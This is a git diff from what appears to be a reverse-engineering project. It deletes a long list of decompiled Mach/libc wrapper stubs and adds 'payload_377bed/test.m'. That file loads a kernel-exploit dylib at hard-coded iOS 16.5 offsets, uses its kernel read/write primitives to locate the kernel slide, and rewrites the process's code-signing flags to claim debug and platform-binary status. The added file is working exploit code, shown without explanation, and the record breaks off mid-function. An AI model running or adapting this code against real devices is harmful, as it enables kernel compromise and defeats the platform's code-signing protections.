init_port_set, - mach_msg_type_number_t init_port_setCnt) -{ - return _mach_ports_register(target_task, init_port_set, init_port_setCnt); -} - -//----- (000000000004186C) ---------------------------------------------------- -__int64 mach_reply_port() -{ - return _mach_reply_port(); -} -// 48540: using guessed type __int64 _mach_reply_port(void); - -//----- (000000000004187C) ---------------------------------------------------- -mach_port_t mach_thread_self(void) -{ - return _mach_thread_self(); -} - -//----- (000000000004188C) ---------------------------------------------------- -kern_return_t __cdecl mach_timebase_info(mach_timebase_info_t info) -{ - return _mach_timebase_info(info); -} - -//----- (000000000004189C) ---------------------------------------------------- -kern_return_t __cdecl mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags) -{ - return _mach_vm_allocate(target, address, size, flags); -} - -//----- (00000000000418AC) ---------------------------------------------------- -kern_return_t __cdecl mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size) -{ - return _mach_vm_deallocate(target, address, size); -} - -//----- (00000000000418BC) ---------------------------------------------------- -kern_return_t __cdecl mach_vm_machine_attribute( - vm_map_t target_task, - mach_vm_address_t address, - mach_vm_size_t size, - vm_machine_attribute_t attribute, - vm_machine_attribute_val_t *value) -{ - return _mach_vm_machine_attribute(target_task, address, size, attribute, value); -} - -//----- (00000000000418CC) ---------------------------------------------------- -kern_return_t __cdecl mach_vm_page_info( - vm_map_read_t target_task, - mach_vm_address_t address, - vm_page_info_flavor_t flavor, - vm_page_info_t info, - mach_msg_type_number_t *infoCnt) -{ - return _mach_vm_page_info(target_task, address, flavor, info, infoCnt); -} - -//----- (00000000000418DC) ---------------------------------------------------- -kern_return_t __cdecl mach_vm_read_overwrite( - vm_map_read_t target_task, - mach_vm_address_t address, - mach_vm_size_t size, - mach_vm_address_t data, - mach_vm_size_t *outsize) -{ - return _mach_vm_read_overwrite(target_task, address, size, data, outsize); -} - -//----- (00000000000418EC) ---------------------------------------------------- -kern_return_t __cdecl mach_vm_wire( - host_priv_t host_priv, - vm_map_t task, - mach_vm_address_t address, - mach_vm_size_t size, - vm_prot_t desired_access) -{ - return _mach_vm_wire(host_priv, task, address, size, desired_access); -} - -//----- (00000000000418FC) ---------------------------------------------------- -kern_return_t __cdecl mach_vm_write( - vm_map_t target_task, - mach_vm_address_t address, - vm_offset_t data, - mach_msg_type_number_t dataCnt) -{ - return _mach_vm_write(target_task, address, data, dataCnt); -} - -//----- (000000000004190C) ---------------------------------------------------- -int __cdecl madvise(void *a1, size_t a2, int a3) -{ - return _madvise(a1, a2, a3); -} - -//----- (000000000004191C) ---------------------------------------------------- -void *__cdecl malloc(size_t __size) -{ - return _malloc(__size); -} - -//----- (000000000004192C) ---------------------------------------------------- -int __cdecl memcmp(const void *__s1, const void *__s2, size_t __n) -{ - return _memcmp(__s1, __s2, __n); -} - -//----- (000000000004193C) ---------------------------------------------------- -void *__cdecl memcpy(void *__dst, const void *__src, size_t __n) -{ - return _memcpy(__dst, __src, __n); -} - -//----- (000000000004194C) ---------------------------------------------------- -void __cdecl mig_dealloc_reply_port(mach_port_t reply_port) -{ - _mig_dealloc_reply_port(reply_port); -} - -//----- (000000000004195C) ---------------------------------------------------- -mach_port_t mig_get_reply_port(void) -{ - return _mig_get_reply_port(); -} - -//----- (000000000004196C) ---------------------------------------------------- -int __cdecl mkdir(const char *a1, mode_t a2) -{ - return _mkdir(a1, a2); -} - -//----- (000000000004197C) ---------------------------------------------------- -char *__cdecl mktemp(char *a1) -{ - return _mktemp(a1); -} - -//----- (000000000004198C) ---------------------------------------------------- -void *__cdecl mmap(void *a1, size_t a2, int a3, int a4, int a5, off_t a6) -{ - return _mmap(a1, a2, a3, a4, a5, a6); -} - -//----- (000000000004199C) ---------------------------------------------------- -int __cdecl mount(const char *a1, const char *a2, int a3, void *a4) -{ - return _mount(a1, a2, a3, a4); -} - -//----- (00000000000419AC) ---------------------------------------------------- -__int64 necp_client_action() -{ - return _necp_client_action(); -} -// 485E0: using guessed type __int64 _necp_client_action(void); - -//----- (00000000000419BC) ---------------------------------------------------- -__int64 necp_open() -{ - return _necp_open(); -} -// 485E8: using guessed type __int64 _necp_open(void); - -//----- (00000000000419CC) ---------------------------------------------------- -int open(const char *a1, int a2, ...) -{ - return _open(a1, a2); -} - -//----- (00000000000419DC) ---------------------------------------------------- -int open_dprotected_np(const char *a1, int a2, int a3, int a4, ...) -{ - return _open_dprotected_np(a1, a2, a3, a4); -} - -//----- (00000000000419EC) ---------------------------------------------------- -kern_return_t __cdecl pid_for_task(mach_port_name_t t, int *x) -{ - return _pid_for_task(t, x); -} - -//----- (00000000000419FC) ---------------------------------------------------- -int __cdecl pipe(int a1[2]) -{ - return _pipe(a1); -} - -//----- (0000000000041A0C) ---------------------------------------------------- -int __cdecl posix_spawn( - pid_t *a1, - const char *a2, - const posix_spawn_file_actions_t *a3, - const posix_spawnattr_t *a4, - char *const __argv[], - char *const __envp[]) -{ - return _posix_spawn(a1, a2, a3, a4, __argv, __envp); -} - -//----- (0000000000041A1C) ---------------------------------------------------- -int __cdecl posix_spawn_file_actions_addopen(posix_spawn_file_actions_t *a1, int a2, const char *a3, int a4, mode_t a5) -{ - return _posix_spawn_file_actions_addopen(a1, a2, a3, a4, a5); -} - -//----- (0000000000041A2C) ---------------------------------------------------- -int __cdecl posix_spawn_file_actions_destroy(posix_spawn_file_actions_t *a1) -{ - return _posix_spawn_file_actions_destroy(a1); -} - -//----- (0000000000041A3C) ---------------------------------------------------- -int __cdecl posix_spawn_file_actions_init(posix_spawn_file_actions_t *a1) -{ - return _posix_spawn_file_actions_init(a1); -} - -//----- (0000000000041A4C) ---------------------------------------------------- -int __cdecl posix_spawnattr_destroy(posix_spawnattr_t *a1) -{ - return _posix_spawnattr_destroy(a1); -} - -//----- (0000000000041A5C) ---------------------------------------------------- -int __cdecl posix_spawnattr_init(posix_spawnattr_t *a1) -{ - return _posix_spawnattr_init(a1); -} - -//----- (0000000000041A6C) ---------------------------------------------------- -int __cdecl posix_spawnattr_setflags(posix_spawnattr_t *a1, __int16 a2) -{ - return _posix_spawnattr_setflags(a1, a2); -} - -//----- (0000000000041A7C) ---------------------------------------------------- -int __cdecl posix_spawnattr_setpgroup(posix_spawnattr_t *a1, pid_t a2) -{ - return _posix_spawnattr_setpgroup(a1, a2); -} - -//----- (0000000000041A8C) ---------------------------------------------------- -int __cdecl posix_spawnattr_setsigdefault(posix_spawnattr_t *a1, const sigset_t *a2) -{ - return _posix_spawnattr_setsigdefault(a1, a2); -} - -//----- (0000000000041A9C) ---------------------------------------------------- -ssize_t __cdecl pread(int __fd, void *__buf, size_t __nbyte, off_t a4) -{ - return _pread(__fd, __buf, __nbyte, a4); -} - -//----- (0000000000041AAC) ---------------------------------------------------- -int __cdecl proc_pidinfo(int pid, int flavor, uint64_t arg, void *buffer, int buffersize) -{ - return _proc_pidinfo(pid, flavor, arg, buffer, buffersize); -} - -//----- (0000000000041ABC) ---------------------------------------------------- -kern_return_t __cdecl processor_set_default(host_t host, processor_set_name_t *default_set) -{ - return _processor_set_default(host, default_set); -} - -//----- (0000000000041ACC) ---------------------------------------------------- -kern_return_t __cdecl processor_set_info( - processor_set_name_t set_name, - int flavor, - host_t *host, - processor_set_info_t info_out, - mach_msg_type_number_t *info_outCnt) -{ - return _processor_set_info(set_name, flavor, host, info_out, info_outCnt); -} - -//----- (0000000000041ADC) ---------------------------------------------------- -int __cdecl pthread_attr_destroy(pthread_attr_t *a1) -{ - return _pthread_attr_destroy(a1); -} - -//----- (0000000000041AEC) ---------------------------------------------------- -int __cdecl pthread_attr_init(pthread_attr_t *a1) -{ - return _pthread_attr_init(a1); -} - -//----- (0000000000041AFC) ---------------------------------------------------- -int __cdecl pthread_attr_setdetachstate(pthread_attr_t *a1, int a2) -{ - return _pthread_attr_setdetachstate(a1, a2); -} - -//----- (0000000000041B0C) ---------------------------------------------------- -int __cdecl pthread_create(pthread_t *a1, const pthread_attr_t *a2, void *(__cdecl *a3)(void *), void *a4) -{ - return _pthread_create(a1, a2, a3, a4); -} - -//----- (0000000000041B1C) ---------------------------------------------------- -int __cdecl pthread_create_suspended_np(pthread_t *a1, const pthread_attr_t *a2, void *(__cdecl *a3)(void *), void *a4) -{ - return _pthread_create_suspended_np(a1, a2, a3, a4); -} - -//----- (0000000000041B2C) ---------------------------------------------------- -pthread_t __cdecl pthread_from_mach_thread_np(mach_port_t a1) -{ - return _pthread_from_mach_thread_np(a1); -} - -//----- (0000000000041B3C) ---------------------------------------------------- -int __cdecl pthread_join(pthread_t a1, void **a2) -{ - return _pthread_join(a1, a2); -} - -//----- (0000000000041B4C) ---------------------------------------------------- -mach_port_t __cdecl pthread_mach_thread_np(pthread_t a1) -{ - return _pthread_mach_thread_np(a1); -} - -//----- (0000000000041B5C) ---------------------------------------------------- -int __cdecl pthread_mutex_destroy(pthread_mutex_t *a1) -{ - return _pthread_mutex_destroy(a1); -} - -//----- (0000000000041B6C) ---------------------------------------------------- -int __cdecl pthread_mutex_init(pthread_mutex_t *a1, const pthread_mutexattr_t *a2) -{ - return _pthread_mutex_init(a1, a2); -} - -//----- (0000000000041B7C) ---------------------------------------------------- -int __cdecl pthread_mutex_lock(pthread_mutex_t *a1) -{ - return _pthread_mutex_lock(a1); -} - -//----- (0000000000041B8C) ---------------------------------------------------- -int __cdecl pthread_mutex_unlock(pthread_mutex_t *a1) -{ - return _pthread_mutex_unlock(a1); -} - -//----- (0000000000041B9C) ---------------------------------------------------- -pthread_t pthread_self(void) -{ - return _pthread_self(); -} - -//----- (0000000000041BAC) ---------------------------------------------------- -void __cdecl qsort(void *__base, size_t __nel, size_t __width, int (__cdecl *__compar)(const void *, const void *)) -{ - _qsort(__base, __nel, __width, __compar); -} - -//----- (0000000000041BBC) ---------------------------------------------------- -ssize_t __cdecl read(int a1, void *a2, size_t a3) -{ - return _read(a1, a2, a3); -} - -//----- (0000000000041BCC) ---------------------------------------------------- -void *__cdecl realloc(void *__ptr, size_t __size) -{ - return _realloc(__ptr, __size); -} - -//----- (0000000000041BDC) ---------------------------------------------------- -int __cdecl rmdir(const char *a1) -{ - return _rmdir(a1); -} - -//----- (0000000000041BEC) ---------------------------------------------------- -__int64 sandbox_check() -{ - return _sandbox_check(); -} -// 48700: using guessed type __int64 _sandbox_check(void); - -//----- (0000000000041BFC) ---------------------------------------------------- -int sched_yield(void) -{ - return _sched_yield(); -} - -//----- (0000000000041C0C) ---------------------------------------------------- -kern_return_t __cdecl semaphore_create(task_t task, semaphore_t *semaphore, int policy, int value) -{ - return _semaphore_create(task, semaphore, policy, value); -} - -//----- (0000000000041C1C) ---------------------------------------------------- -kern_return_t __cdecl semaphore_destroy(task_t task, semaphore_t semaphore) -{ - return _semaphore_destroy(task, semaphore); -} - -//----- (0000000000041C2C) ---------------------------------------------------- -kern_return_t __cdecl semaphore_signal(semaphore_t semaphore) -{ - return _semaphore_signal(semaphore); -} - -//----- (0000000000041C3C) ---------------------------------------------------- -kern_return_t __cdecl semaphore_timedwait(semaphore_t semaphore, mach_timespec_t wait_time) -{ - return _semaphore_timedwait(semaphore, wait_time); -} - -//----- (0000000000041C4C) ---------------------------------------------------- -kern_return_t __cdecl semaphore_wait(semaphore_t semaphore) -{ - return _semaphore_wait(semaphore); -} - -//----- (0000000000041C5C) ---------------------------------------------------- -int __cdecl seteuid(uid_t a1) -{ - return _seteuid(a1); -} - -//----- (0000000000041C6C) ---------------------------------------------------- -int __cdecl setsockopt(int a1, int a2, int a3, const void *a4, socklen_t a5) -{ - return _setsockopt(a1, a2, a3, a4, a5); -} - -//----- (0000000000041C7C) ---------------------------------------------------- -int snprintf(char *__str, size_t __size, const char *__format, ...) -{ - return _snprintf(__str, __size, __format); -} - -//----- (0000000000041C8C) ---------------------------------------------------- -int __cdecl socket(int a1, int a2, int a3) -{ - return _socket(a1, a2, a3); -} - -//----- (0000000000041C9C) ---------------------------------------------------- -int sscanf(const char *a1, const char *a2, ...) -{ - return _sscanf(a1, a2); -} - -//----- (0000000000041CAC) ---------------------------------------------------- -int __cdecl stat(const char *a1, stat *a2) -{ - return _stat(a1, a2); -} - -//----- (0000000000041CBC) ---------------------------------------------------- -int __cdecl statfs(const char *a1, statfs *a2) -{ - return _statfs(a1, a2); -} - -//----- (0000000000041CCC) ---------------------------------------------------- -char *__cdecl strchr(const char *__s, int __c) -{ - return _strchr(__s, __c); -} - -//----- (0000000000041CDC) ---------------------------------------------------- -int __cdecl strcmp(const char *__s1, const char *__s2) -{ - return _strcmp(__s1, __s2); -} - -//----- (0000000000041CEC) ---------------------------------------------------- -char *__cdecl strcpy(char *__dst, const char *__src) -{ - return _strcpy(__dst, __src); -} - -//----- (0000000000041CFC) ---------------------------------------------------- -char *__cdecl strdup(const char *__s1) -{ - return _strdup(__s1); -} - -//----- (0000000000041D0C) ---------------------------------------------------- -size_t __cdecl strlcpy(char *__dst, const char *__source, size_t __size) -{ - return _strlcpy(__dst, __source, __size); -} - -//----- (0000000000041D1C) ---------------------------------------------------- -size_t __cdecl strlen(const char *__s) -{ - return _strlen(__s); -} - -//----- (0000000000041D2C) ---------------------------------------------------- -int __cdecl strncmp(const char *__s1, const char *__s2, size_t __n) -{ - return _strncmp(__s1, __s2, __n); -} - -//----- (0000000000041D3C) ---------------------------------------------------- -char *__cdecl strsep(char **__stringp, const char *__delim) -{ - return _strsep(__stringp, __delim); -} - -//----- (0000000000041D4C) ---------------------------------------------------- -char *__cdecl strstr(const char *__big, const char *__little) -{ - return _strstr(__big, __little); -} - -//----- (0000000000041D5C) ---------------------------------------------------- -__int64 __cdecl strtol(const char *__str, char **__endptr, int __base) -{ - return _strtol(__str, __endptr, __base); -} - -//----- (0000000000041D6C) ---------------------------------------------------- -int syscall(int a1, ...) -{ - return _syscall(a1); -} - -//----- (0000000000041D7C) ---------------------------------------------------- -int __cdecl sysctl(int *a1, u_int a2, void *a3, size_t *a4, void *a5, size_t a6) -{ - return _sysctl(a1, a2, a3, a4, a5, a6); -} - -//----- (0000000000041D8C) ---------------------------------------------------- -int __cdecl sysctlbyname(const char *a1, void *a2, size_t *a3, void *a4, size_t a5) -{ - return _sysctlbyname(a1, a2, a3, a4, a5); -} - -//----- (0000000000041D9C) ---------------------------------------------------- -kern_return_t __cdecl task_get_special_port(task_inspect_t task, int which_port, mach_port_t *special_port) -{ - return _task_get_special_port(task, which_port, special_port); -} - -//----- (0000000000041DAC) ---------------------------------------------------- -kern_return_t __cdecl task_info( - task_name_t target_task, - task_flavor_t flavor, - task_info_t task_info_out, - mach_msg_type_number_t *task_info_outCnt) -{ - return _task_info(target_task, flavor, task_info_out, task_info_outCnt); -} - -//----- (0000000000041DBC) ---------------------------------------------------- -kern_return_t __cdecl task_map_corpse_info_64( - task_t task, - task_read_t corspe_task, - mach_vm_address_t *kcd_addr_begin, - mach_vm_size_t *kcd_size) -{ - return _task_map_corpse_info_64(task, corspe_task, kcd_addr_begin, kcd_size); -} - -//----- (0000000000041DCC) ---------------------------------------------------- -kern_return_t __cdecl task_resume2(task_suspension_token_t suspend_token) -{ - return _task_resume2(suspend_token); -} - -//----- (0000000000041DDC) ---------------------------------------------------- -kern_return_t __cdecl task_set_special_port(task_t task, int which_port, mach_port_t special_port) -{ - return _task_set_special_port(task, which_port, special_port); -} - -//----- (0000000000041DEC) ---------------------------------------------------- -kern_return_t __cdecl task_suspend2(task_t target_task, task_suspension_token_t *suspend_token) -{ - return _task_suspend2(target_task, suspend_token); -} - -//----- (0000000000041DFC) ---------------------------------------------------- -kern_return_t __cdecl task_threads( - task_inspect_t target_task, - thread_act_array_t *act_list, - mach_msg_type_number_t *act_listCnt) -{ - return _task_threads(target_task, act_list, act_listCnt); -} - -//----- (0000000000041E0C) ---------------------------------------------------- -kern_return_t __cdecl thread_create(task_t parent_task, thread_act_t *child_act) -{ - return _thread_create(parent_task, child_act); -} - -//----- (0000000000041E1C) ---------------------------------------------------- -kern_return_t __cdecl thread_get_state( - thread_read_t target_act, - thread_state_flavor_t flavor, - thread_state_t old_state, - mach_msg_type_number_t *old_stateCnt) -{ - return _thread_get_state(target_act, flavor, old_state, old_stateCnt); -} - -//----- (0000000000041E2C) ---------------------------------------------------- -kern_return_t __cdecl thread_policy_set( - thread_act_t thread, - thread_policy_flavor_t flavor, - thread_policy_t policy_info, - mach_msg_type_number_t policy_infoCnt) -{ - return _thread_policy_set(thread, flavor, policy_info, policy_infoCnt); -} - -//----- (0000000000041E3C) ---------------------------------------------------- -kern_return_t __cdecl thread_resume(thread_act_t target_act) -{ - return _thread_resume(target_act); -} - -//----- (0000000000041E4C) ---------------------------------------------------- -kern_return_t __cdecl thread_set_exception_ports( - thread_act_t thread, - exception_mask_t exception_mask, - mach_port_t new_port, - exception_behavior_t behavior, - thread_state_flavor_t new_flavor) -{ - return _thread_set_exception_ports(thread, exception_mask, new_port, behavior, new_flavor); -} - -//----- (0000000000041E5C) ---------------------------------------------------- -kern_return_t __cdecl thread_set_state( - thread_act_t target_act, - thread_state_flavor_t flavor, - thread_state_t new_state, - mach_msg_type_number_t new_stateCnt) -{ - return _thread_set_state(target_act, flavor, new_state, new_stateCnt); -} - -//----- (0000000000041E6C) ---------------------------------------------------- -kern_return_t __cdecl thread_suspend(thread_act_t target_act) -{ - return _thread_suspend(target_act); -} - -//----- (0000000000041E7C) ---------------------------------------------------- -kern_return_t __cdecl thread_switch(mach_port_name_t thread_name, int option, mach_msg_timeout_t option_time) -{ - return _thread_switch(thread_name, option, option_time); -} - -//----- (0000000000041E8C) ---------------------------------------------------- -kern_return_t __cdecl thread_terminate(thread_act_t target_act) -{ - return _thread_terminate(target_act); -} - -//----- (0000000000041E9C) ---------------------------------------------------- -int __cdecl uname(utsname *a1) -{ - return _uname(a1); -} - -//----- (0000000000041EAC) ---------------------------------------------------- -int __cdecl unlink(const char *a1) -{ - return _unlink(a1); -} - -//----- (0000000000041EBC) ---------------------------------------------------- -int __cdecl unmount(const char *a1, int a2) -{ - return _unmount(a1, a2); -} - -//----- (0000000000041ECC) ---------------------------------------------------- -int __cdecl usleep(useconds_t a1) -{ - return _usleep(a1); -} - -//----- (0000000000041EDC) ---------------------------------------------------- -int __cdecl uuid_is_null(const uuid_t uu) -{ - return _uuid_is_null(uu); -} - -//----- (0000000000041EEC) ---------------------------------------------------- -kern_return_t __cdecl vm_allocate(vm_map_t target_task, vm_address_t *address, vm_size_t size, int flags) -{ - return _vm_allocate(target_task, address, size, flags); -} - -//----- (0000000000041EFC) ---------------------------------------------------- -kern_return_t __cdecl vm_copy( - vm_map_t target_task, - vm_address_t source_address, - vm_size_t size, - vm_address_t dest_address) -{ - return _vm_copy(target_task, source_address, size, dest_address); -} - -//----- (0000000000041F0C) ---------------------------------------------------- -kern_return_t __cdecl vm_deallocate(vm_map_t target_task, vm_address_t address, vm_size_t size) -{ - return _vm_deallocate(target_task, address, size); -} - -//----- (0000000000041F1C) ---------------------------------------------------- -kern_return_t __cdecl vm_map( - vm_map_t target_task, - vm_address_t *address, - vm_size_t size, - vm_address_t mask, - int flags, - mem_entry_name_port_t object, - vm_offset_t offset, - boolean_t copy, - vm_prot_t cur_protection, - vm_prot_t max_protection, - vm_inherit_t inheritance) -{ - return _vm_map( - target_task, - address, - size, - mask, - flags, - object, - offset, - copy, - cur_protection, - max_protection, - inheritance); -} - -//----- (0000000000041F2C) ---------------------------------------------------- -kern_return_t __cdecl vm_protect( - vm_map_t target_task, - vm_address_t address, - vm_size_t size, - boolean_t set_maximum, - vm_prot_t new_protection) -{ - return _vm_protect(target_task, address, size, set_maximum, new_protection); -} - -//----- (0000000000041F3C) ---------------------------------------------------- -kern_return_t __cdecl vm_read_overwrite( - vm_map_t target_task, - vm_address_t address, - vm_size_t size, - vm_address_t data, - vm_size_t *outsize) -{ - return _vm_read_overwrite(target_task, address, size, data, outsize); -} - -//----- (0000000000041F4C) ---------------------------------------------------- -kern_return_t __cdecl vm_region_64( - vm_map_t target_task, - vm_address_t *address, - vm_size_t *size, - vm_region_flavor_t flavor, - vm_region_info_t info, - mach_msg_type_number_t *infoCnt, - mach_port_t *object_name) -{ - return _vm_region_64(target_task, address, size, flavor, info, infoCnt, object_name); -} - -//----- (0000000000041F5C) ---------------------------------------------------- -kern_return_t __cdecl vm_region_recurse_64( - vm_map_t target_task, - vm_address_t *address, - vm_size_t *size, - natural_t *nesting_depth, - vm_region_recurse_info_t info, - mach_msg_type_number_t *infoCnt) -{ - return _vm_region_recurse_64(target_task, address, size, nesting_depth, info, infoCnt); -} - -//----- (0000000000041F6C) ---------------------------------------------------- -kern_return_t __cdecl vm_remap( - vm_map_t target_task, - vm_address_t *target_address, - vm_size_t size, - vm_address_t mask, - int flags, - vm_map_t src_task, - vm_address_t src_address, - boolean_t copy, - vm_prot_t *cur_protection, - vm_prot_t *max_protection, - vm_inherit_t inheritance) -{ - return _vm_remap( - target_task, - target_address, - size, - mask, - flags, - src_task, - src_address, - copy, - cur_protection, - max_protection, - inheritance); -} - -//----- (0000000000041F7C) ---------------------------------------------------- -kern_return_t __cdecl vm_write( - vm_map_t target_task, - vm_address_t address, - vm_offset_t data, - mach_msg_type_number_t dataCnt) -{ - return _vm_write(target_task, address, data, dataCnt); -} - -//----- (0000000000041F8C) ---------------------------------------------------- -pid_t __cdecl waitpid(pid_t a1, int *a2, int a3) -{ - return _waitpid(a1, a2, a3); -} - -//----- (0000000000041F9C) ---------------------------------------------------- -ssize_t __cdecl write(int __fd, const void *__buf, size_t __nbyte) -{ - return _write(__fd, __buf, __nbyte); -} - -// nfuncs=897 queued=889 decompiled=889 lumina nreq=0 worse=0 better=0 -// ALL OK, 889 function(s) have been successfully decompiled diff --git a/src/payload_377bed/test.m b/src/payload_377bed/test.m new file mode 100644 index 0000000..e6eb2d3 --- /dev/null +++ b/src/payload_377bed/test.m @@ -0,0 +1,249 @@ +@import Darwin; +@import MachO; +@import Foundation; + +#define CS_GET_TASK_ALLOW 0x00000004 /* has get-task-allow entitlement */ +#define CS_HARD 0x00000100 /* don't load invalid pages */ +#define CS_KILL 0x00000200 /* kill process if it becomes invalid */ +#define CS_PLATFORM_BINARY 0x04000000 /* this is a platform binary */ +#define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */ + +#define DRIVER_CMD_TASK_CSFLAGS_MARK_VALID 12 +#define DRIVER_CMD_TASK_CSFLAGS_JIT_ENABLE 15 +#define DRIVER_CMD_TASK_CSFLAGS_JIT_DISABLE 19 +#define DRIVER_CMD_TASK_GET_ROOT 26 +#define DRIVER_CMD_TASK_FOR_PID 0xc000001d + +// A12 16.5 +#define OFF_377bed_entry1_kwritebuf 0x2a714 +#define OFF_377bed_entry1_kreadbuf 0x2572C +// kernel_exploit +#define OFF_xxxxxx_entry1_kwritebuf 0x2b045 +#define OFF_xxxxxx_entry1_kreadbuf 0x2acd1 + +//typedef struct { +// uint8_t __unk[7520]; +//} krw_ctx_t; + +typedef struct struct_krwCtx // sizeof=0x1D50 +{ + uint32_t flags; + uint8_t gap4[168]; + uint32_t threadForKernelRead; + uint8_t gap42[144]; + int xnuMajorVersion; + uint8_t gap144[20]; + uint64_t someLargeNumber; + uint8_t gap160[8]; + int int168; + int gap16C[7]; + uint64_t qword188; + uint8_t gap190[136]; + uint64_t gap190u; + uint8_t gap190_[56]; + int isRW; + struct mach_timebase_info timebase; + mach_port_t semaphore; + pthread_mutex_t someMutex; + uint32_t someInt1; + uint32_t someInt2; + uint64_t gap19100[16]; + pthread_mutex_t someMutex2; + uint64_t gap191[695]; + uint32_t gap1909; + uint32_t gap1910; + uint32_t gap1911[2]; + uint32_t gap1913; + uint32_t gap1914; + uint32_t gap1915; + uint32_t gap1916; + uint64_t gap192[16]; + uint64_t machHeaderPlus0x8000; + uint64_t gap19210; + uint64_t gap19211; + uint64_t slideMaybe; + uint64_t gap1921[108]; + uint64_t qword1D48; +} krw_ctx_t; + +typedef struct module_vtable module_vtable_t; +typedef int (*driver_init_t)(module_vtable_t *vtable, uint64_t arg1, krw_ctx_t **ctx_out); +typedef int (*driver_free_t)(module_vtable_t *vtable); +typedef int (*driver_close_t)(module_vtable_t *vtable, krw_ctx_t *ctx); +typedef uint64_t (*driver_dispatch_command_t)(module_vtable_t *vtable, krw_ctx_t *ctx, uint64_t cmd, void *args); +typedef struct module_vtable { + /* +0x00 */ uint16_t version; /* must be 2 */ + /* +0x02 */ uint16_t num_funcs; /* must be >= 2 */ + /* +0x04 */ uint32_t _pad; + /* +0x08 */ void *context; /* back-pointer to implant_ctx */ + /* +0x10 */ driver_free_t free; /* deinit (0x12dfc) */ + /* +0x18 */ driver_init_t init;/* init (0x12e3c) */ + /* +0x20 */ driver_close_t close; /* 0x12e58 */ + /* +0x28 */ driver_dispatch_command_t dispatch_command; /* 0x12e74 */ + /* +0x30 */ void *trampoline_4; /* 0x12e90 */ + /* +0x38 */ void *trampoline_5; /* 0x12eac */ + /* +0x40 */ void *trampoline_6; /* 0x12ec8 */ + /* +0x48 */ void *trampoline_7; /* 0x12ee4 */ +} module_vtable_t; +typedef int (*driver_fn_t)(module_vtable_t **); + +typedef int (*driver_kreadbuf)(void *ctx, uint64_t address, mach_vm_size_t size, uint64_t *valueOut); +typedef int (*driver_kwritebuf)(void *ctx, uint64_t address, const void *value, mach_vm_size_t size); +krw_ctx_t *global_ctx; +driver_kreadbuf kread_buf_internal; +driver_kwritebuf kwrite_buf_internal; +uint64_t kernelbase, slide; + +int kreadbuf(uint64_t addr, void *data, size_t size) { + kread_buf_internal(global_ctx, addr, size, data); +// NSLog(@"kreadbuf addr=0x%llx size=%zu", addr, size); +// +// uint8_t *bytes = data; +// NSMutableString *hex = [NSMutableString string]; +// +// for (size_t i = 0; i < size; i++) { +// [hex appendFormat:@"%02x ", bytes[i]]; +// } +// +// NSLog(@"data: %@", hex); + + return 0; +} +int kwritebuf(uint64_t addr, const void *data, size_t size) { + kwrite_buf_internal(global_ctx, addr, data, size); +// +// NSLog(@"kwritebuf addr=0x%llx size=%zu", addr, size); +// +// uint8_t *bytes = data; +// NSMutableString *hex = [NSMutableString string]; +// +// for (size_t i = 0; i < size; i++) { +// [hex appendFormat:@"%02x ", bytes[i]]; +// } +// +// NSLog(@"data: %@", hex); + + return 0; +} + +//uint64_t kread_ptr(uint64_t addr) { +// uint64_t ptr = 0; +// kread_ptr_internal(global_ctx, addr, &ptr); +// return ptr; +//} + +uint8_t kread8(uint64_t addr) { + uint8_t value = 0; + kreadbuf(addr, &value, 1); + return value; +} + +uint16_t kread16(uint64_t addr) { + uint16_t value = 0; + kreadbuf(addr, &value, 2); + return value; +} + +uint32_t kread32(uint64_t addr) { + uint32_t value = 0; + kreadbuf(addr, &value, 4); + return value; +} + +uint64_t kread64(uint64_t addr) { + uint64_t value = 0; + kreadbuf(addr, &value, 8); + return value; +} + +void kwrite8(uint64_t addr, uint8_t value) { + kwritebuf(addr, &value, 1); +} + +void kwrite16(uint64_t addr, uint16_t value) { + kwritebuf(addr, &value, 2); +} + +void kwrite32(uint64_t addr, uint32_t value) { + kwritebuf(addr, &value, 4); +} + +void kwrite64(uint64_t addr, uint64_t value) { + kwritebuf(addr, &value, 8); +} + + +int csops(int, int, void*, int); +int main(int argc, char *argv[], char *envp[]) { + + int index = _dyld_image_count(); + void *handle = //dlopen("@loader_path/kernel_exploit.dylib", RTLD_GLOBAL); + dlopen("@loader_path/entry1_type0x09.dylib", RTLD_GLOBAL); + if(!handle) { + fprintf(stderr, "dlopen failed: %s\n", dlerror()); + return 1; + } + const struct mach_header_64 *header = (const struct mach_header_64 *)_dyld_get_image_header(index); + kread_buf_internal = (void*)((uintptr_t)header + OFF_377bed_entry1_kreadbuf); + kwrite_buf_internal = (void*)((uintptr_t)header + OFF_377bed_entry1_kwritebuf); + + driver_fn_t driver_fn = (driver_fn_t)dlsym(handle, "driver"); + if (!driver_fn) { + fprintf(stderr, "dlsym failed: %s\n", dlerror()); + return 1; + } + + module_vtable_t *vtable_out = NULL; + int dr = driver_fn(&vtable_out); + if (dr != 0 || !vtable_out) { + fprintf(stderr, "driver_fn failed: %d\n", dr); + return 1; + } + + // init + dr = vtable_out->init(vtable_out, 0, &global_ctx); + if (!global_ctx) { + fprintf(stderr, "driver->init failed: %d\n", dr); + return 1; + } + printf("Driver initialized, ctx: %p\n", global_ctx); + + + printf("slideMaybe=0x%x\n", global_ctx->slideMaybe); + + kernelbase = global_ctx->machHeaderPlus0x8000 - 0x8000; + slide = kernelbase - 0xfffffff007004000; + + NSLog(@"kernel base: 0x%llx\n", kernelbase); + NSLog(@"kernel slide: 0x%llx\n", slide); + uint64_t val = kread64(kernelbase); + printf("Kernel header: 0x%llx\n", val); + + // CS_DEBUGGED|CS_VALID + int pid = getpid(); + struct { int32_t pid; mach_port_t port; } args = { .pid = pid }; + vtable_out->dispatch_command(vtable_out, global_ctx, DRIVER_CMD_TASK_FOR_PID, &args); + + uint32_t flags; + csops(pid, 0, &flags, sizeof(flags)); + printf("csops before modify: 0x%x\n", flags); + + uint64_t (*task_csflags_kaddr)(krw_ctx_t *, mach_port_t) = (void*)((uintptr_t)header + 0x34680); + uint64_t addr = task_csflags_kaddr(global_ctx, args.port); + flags = kread32(addr); + printf("csops read from krw: 0x%x\n", flags); + + //flags &= ~(CS_KILL | CS_HARD); + flags |= CS_GET_TASK_ALLOW | CS_DEBUGGED | CS_PLATFORM_BINARY; + printf("writing: 0x%x\n", flags); + + kwrite32(addr, flags); + //vtable_out->dispatch_command(vtable_out, global_ctx, DRIVER_CMD_TASK_CSFLAGS_JIT_ENABLE, (void *)args.port); + + csops(pid, 0, &flags, sizeof(flags)); + printf("csops after modify: 0x%x\n", flags); + + // de-init + vtable_out->close(vtable_out, global_ctx); + 